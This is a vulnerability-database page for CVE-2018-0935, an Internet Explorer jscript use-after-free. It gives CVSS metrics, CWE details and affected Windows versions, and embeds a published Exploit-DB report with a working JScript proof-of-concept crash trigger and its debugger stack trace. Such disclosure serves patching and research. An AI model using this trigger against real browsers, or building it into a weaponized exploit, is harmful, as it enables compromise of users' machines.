CVE-2018-0935 : Detail

CVE-2018-0935

7.5
/
High
Memory CorruptionOverflow
79.62%V3
Network
2018-03-14
17h00 +00:00
2024-09-17
02h26 +00:00
CVE.org
NVD
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CVE Descriptions

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows remote code execution, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2018-0876, CVE-2018-0889, CVE-2018-0893, and CVE-2018-0925.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44404

Publication date : 2018-04-04 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- There are multiple use-after-free issues in Array methods in jscript. When jscript executes an Array method (such as Array.join), it first retrieves the length of an array. If the input is not an array but an object, then the length property of the object is going to be retrieved and converted to scalar. During this conversion, the "length" property is not going to be tracked by the garbage collector and the conversion to scalar causes toString()/valueOf() callbacks to be triggered. Thus, during these callbacks, the "length" property could be freed and then the freed memory can be referenced by accessing the "this" variable inside the toString()/valueOf() function. All of the Array methods exhibit this pattern (see the PoC). Due to the specifics of how jscript implements variable, this will only result in the crash if the entire memory block that holds the "this" variable gets freed. This is why the PoC uses an object with a large number of elements in addition to the "length" element. As with the other use-after-free issues I reported recently that result in garbage-collecting the "this" variable, I believe the correct way to fix this is to always put the "this" VAR on the garbage collector root list before any function gets called, instead of attempting to fix each affected function individually. PoC for IE (note: The PoC has been tested on Windows 7 64-bit in IE 11.0.50 with 64-bit tab process and with Page Heap enabled): ============================================ --> <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var vars = {}; function f() { alert('in f'); for(var i=0; i<40000; i++) { vars[i] = 1; } vars.length = 0; CollectGarbage(); alert(this); } for(var i=0; i<20000; i++) { vars[i] = []; } vars.length = []; for(var i=20000; i<40000; i++) { vars[i] = []; } vars.length.toString = f; // all of these work, just uncomment the one you want to test //Array.prototype.join.call(vars); //Array.prototype.reverse.call(vars); //Array.prototype.sort.call(vars); //Array.prototype.pop.call(vars); //Array.prototype.push.call(vars, 1); //Array.prototype.shift.call(vars); //Array.prototype.unshift.call(vars, 1); //Array.prototype.slice.call(vars, 1); Array.prototype.splice.call(vars, 1, 1); alert('failed'); </script> <!-- ============================================ Debug log: ============================================ (e7c.54c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!ConvertToObject+0x2f: 000007fe`f7eb06cf 0fb70a movzx ecx,word ptr [rdx] ds:00000000`2115eee0=???? 0:013> k # Child-SP RetAddr Call Site 00 00000000`10ed8a10 000007fe`f7eb0684 jscript!ConvertToObject+0x2f 01 00000000`10ed8a90 000007fe`f7eb0fa9 jscript!CScriptRuntime::InitThis+0x81 02 00000000`10ed8ac0 000007fe`f7e88ec2 jscript!CScriptRuntime::Run+0x3b0d 03 00000000`10ed98c0 000007fe`f7e88d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 04 00000000`10ed9ad0 000007fe`f7eb1e34 jscript!ScrFncObj::Call+0xb7 05 00000000`10ed9b70 000007fe`f7e886ea jscript!NameTbl::InvokeInternal+0x60f 06 00000000`10ed9c90 000007fe`f7efa368 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea 07 00000000`10ed9ce0 000007fe`f7ebcd77 jscript!NameTbl::GetValDef+0xf8 08 00000000`10ed9d70 000007fe`f7e8de69 jscript!NameTbl::InvokeInternal+0xb07 09 00000000`10ed9e90 000007fe`f7ea4b44 jscript!VAR::GetValue+0xa1 0a 00000000`10ed9ee0 000007fe`f7eecd5e jscript!ConvertToScalar+0x60 0b 00000000`10ed9f50 000007fe`f7e8c2dc jscript!JsArraySplice+0x11e 0c 00000000`10eda050 000007fe`f7e8a9fe jscript!NatFncObj::Call+0x138 0d 00000000`10eda100 000007fe`f7e886ea jscript!NameTbl::InvokeInternal+0x3f8 0e 00000000`10eda220 000007fe`f7eddb82 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea 0f 00000000`10eda270 000007fe`f7e8c2dc jscript!JsFncCall+0xc2 10 00000000`10eda300 000007fe`f7e8a9fe jscript!NatFncObj::Call+0x138 11 00000000`10eda3b0 000007fe`f7e8b234 jscript!NameTbl::InvokeInternal+0x3f8 12 00000000`10eda4d0 000007fe`f7e89852 jscript!VAR::InvokeByName+0x81c 13 00000000`10eda6e0 000007fe`f7e89929 jscript!VAR::InvokeDispName+0x72 14 00000000`10eda760 000007fe`f7e824b8 jscript!VAR::InvokeByDispID+0x1229 15 00000000`10eda7b0 000007fe`f7e88ec2 jscript!CScriptRuntime::Run+0x5a6 16 00000000`10edb5b0 000007fe`f7e88d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 17 00000000`10edb7c0 000007fe`f7e88b95 jscript!ScrFncObj::Call+0xb7 18 00000000`10edb860 000007fe`f7e8e6c0 jscript!CSession::Execute+0x19e 19 00000000`10edb930 000007fe`f7e970e7 jscript!COleScript::ExecutePendingScripts+0x17a 1a 00000000`10edba00 000007fe`f7e968d6 jscript!COleScript::ParseScriptTextCore+0x267 1b 00000000`10edbaf0 000007fe`ebf86151 jscript!COleScript::ParseScriptText+0x56 1c 00000000`10edbb50 000007fe`ec6db3a4 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 1d 00000000`10edbbd0 000007fe`ebf8715e MSHTML!CScriptCollection::ParseScriptText+0x37f 1e 00000000`10edbcb0 000007fe`ebf86b71 MSHTML!CScriptData::CommitCode+0x3d9 1f 00000000`10edbe80 000007fe`ebf86901 MSHTML!CScriptData::Execute+0x283 20 00000000`10edbf40 000007fe`ec733559 MSHTML!CHtmScriptParseCtx::Execute+0x101 21 00000000`10edbf80 000007fe`ec0673da MSHTML!CHtmParseBase::Execute+0x235 22 00000000`10edc020 000007fe`ec01b689 MSHTML!CHtmPost::Broadcast+0x90 23 00000000`10edc060 000007fe`ebf5742f MSHTML!CHtmPost::Exec+0x4bb 24 00000000`10edc270 000007fe`ebf57380 MSHTML!CHtmPost::Run+0x3f 25 00000000`10edc2a0 000007fe`ebf58d0c MSHTML!PostManExecute+0x70 26 00000000`10edc320 000007fe`ebf5b293 MSHTML!PostManResume+0xa1 27 00000000`10edc360 000007fe`ebf75dcc MSHTML!CHtmPost::OnDwnChanCallback+0x43 28 00000000`10edc3b0 000007fe`ec77db35 MSHTML!CDwnChan::OnMethodCall+0x41 29 00000000`10edc3e0 000007fe`ebe79d85 MSHTML!GlobalWndOnMethodCall+0x240 2a 00000000`10edc480 00000000`774f9bbd MSHTML!GlobalWndProc+0x150 2b 00000000`10edc500 00000000`774f98c2 USER32!UserCallWinProcCheckWow+0x1ad 2c 00000000`10edc5c0 000007fe`f274305c USER32!DispatchMessageWorker+0x3b5 2d 00000000`10edc640 000007fe`f26ffa9b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 2e 00000000`10edf8c0 000007fe`fe28a2bf IEFRAME!LCIETab_ThreadProc+0x3a3 2f 00000000`10edf9f0 000007fe`fad7925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 30 00000000`10edfa20 00000000`775f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 31 00000000`10edfa70 00000000`7772a561 kernel32!BaseThreadInitThunk+0xd 32 00000000`10edfaa0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d ============================================ -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securityfocus.com/bid/103298
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040510
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/44404/
Tags : exploit, x_refsource_EXPLOIT-DB